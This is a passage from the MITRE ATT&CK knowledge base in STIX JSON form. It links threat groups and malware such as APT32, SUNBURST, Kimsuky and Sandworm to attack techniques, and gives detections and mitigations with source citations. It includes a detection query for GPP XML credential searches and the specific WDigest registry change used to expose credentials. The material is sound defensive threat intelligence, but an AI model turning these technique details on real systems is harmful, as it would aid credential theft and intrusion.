etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9889f167-2a60-4e32-8d2a-410f485551b7","created":"2022-07-01T20:13:03.301Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:13:21.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--988a0f0f-b3dc-4ff7-8062-29d3975cb897","created":"2019-01-29T18:55:20.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.663Z","description":"[Remcos](https://attack.mitre.org/software/S0332) takes automated screenshots of the infected machine.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"}],"modified":"2020-03-20T16:40:41.134Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--988f5b4b-bfc7-4714-b6f0-f753c0472cab","type":"relationship","created":"2021-01-06T15:56:49.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-10T18:09:07.454Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected a list of process names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--988fda8d-8374-4ff7-b70c-f2a654442808","created":"2022-08-19T19:51:28.985Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used malicious links to lure users into executing malicious payloads.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:51:28.985Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98908617-068d-4b6e-bcba-ad213c137b1e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2020-03-28T21:22:43.255Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used scheduled tasks to persist on victim systems.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9893220d-5db9-4978-a886-ff33cf417584","type":"relationship","created":"2020-08-13T14:58:25.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.046Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can detect commonly used and generic virtualization platforms based primarily on drivers and file paths.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--989a5b4d-14d3-4942-8326-91d677e4d38a","created":"2022-09-16T21:24:44.331Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:24:44.331Z","description":"For [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors stole a digital signature from Adobe Systems to use with their MaoCheng dropper.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--989faaf2-96cd-4865-b5e2-b40aec769183","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control [Web Service](https://attack.mitre.org/techniques/T1102) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567) .","modified":"2022-04-20T12:53:33.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98a274a6-ae73-428e-bf51-825c75f467b5","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:20:13.524Z","description":"Monitor executed commands and arguments that may search for SYSVOL data and/or GPP XML files, especially on compromised domain controllers.\n\nAnalytic 1 - Commands indicating searches for GPP XML files.\n\n (index=security sourcetype=\"Powershell\" EventCode=4104 CommandLine=\"*dir /s *.xml*\") \n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98a50c7b-353d-4bbd-bd66-799d79b389a0","created":"2024-07-24T16:32:40.742Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-24T16:32:40.742Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) gathers information on recently logged-in users on victim devices.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:43:16.598Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to execute shell commands.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-29T22:54:58.176Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects address book information from Outlook.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 1","description":"Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"}],"modified":"2019-04-29T18:23:15.934Z","description":"[H1N1](https://attack.mitre.org/software/S0132) uses a custom packing algorithm.(Citation: Cisco H1N1 Part 1)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98afbb05-d48e-4438-add6-df3ea9fb568c","type":"relationship","created":"2020-01-23T19:32:49.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:38:29.122Z","description":"Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98b19c5d-efbc-4e00-b7cc-71df5a1109e0","type":"relationship","created":"2020-05-12T14:26:05.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-20T20:43:50.223Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to encode C2 communications with base64 encoding.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98b39362-d743-49be-b07e-748b19e12158","created":"2022-09-27T16:35:56.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:23:15.238Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors enabled Wdigest by changing the `HKLM\\SYSTEM\\\\ControlSet001\\\\Control\\\\SecurityProviders\\\\WDigest` registry value from 0 (disabled) to 1 (enabled).(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98b6508c-5f00-4c06-a906-4fd7ce74bc62","created":"2022-08-03T03:29:06.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T21:09:12.296Z","description":"Ensure certificates as well as associated private keys are appropriately secured. Consider utilizing additional hardware credential protections such as trusted platform modules (TPM) or hardware security modules (HSM). Enforce HTTPS and enable Extended Protection for\nAuthentication.(Citation: SpecterOps Certified Pre Owned)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98b6dbac-dac9-4856-9b67-25c49e20448e","type":"relationship","created":"2020-06-10T21:56:40.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Ukraine Feb 2016","url":"https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01","description":"US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020."},{"source_name":"ESET Telebots June 2017","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}],"modified":"2020-06-11T15:19:18.067Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the [BlackEnergy](https://attack.mitre.org/software/S0089) KillDisk component to corrupt the infected system's master boot record.(Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots June 2017)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.599Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about installed anti-virus software.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98b8b974-ac4f-4286-b657-f34f813c1d12","type":"relationship","created":"2021-11-16T15:32:34.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"modified":"2021-11-16T15:32:34.286Z","description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can configure custom listeners to passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor.(Citation: MSTIC FoggyWeb September 2021)","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98b90b49-f152-4eb5-8bb7-3b6c68bf9646","type":"relationship","created":"2020-11-02T19:33:14.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-05T15:54:26.385Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used JScript for logging and downloading additional tools.(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98bdf601-555c-4f96-8f9f-031d0aa7bc92","created":"2024-05-22T19:23:35.698Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:23:35.698Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) uses [ASPXSpy](https://attack.mitre.org/software/S0073) web shells to enable follow-on command execution via cmd.exe.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98c14ff6-0e71-4cfe-ae3f-bc8a7f0c5260","created":"2023-03-17T15:23:36.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:37:02.478Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) sent emails with malicious attachments to gain unauthorized access to targets' computers.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98c1c7ad-db36-459a-ae63-1b92dcb209a5","created":"2021-01-22T14:38:35.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 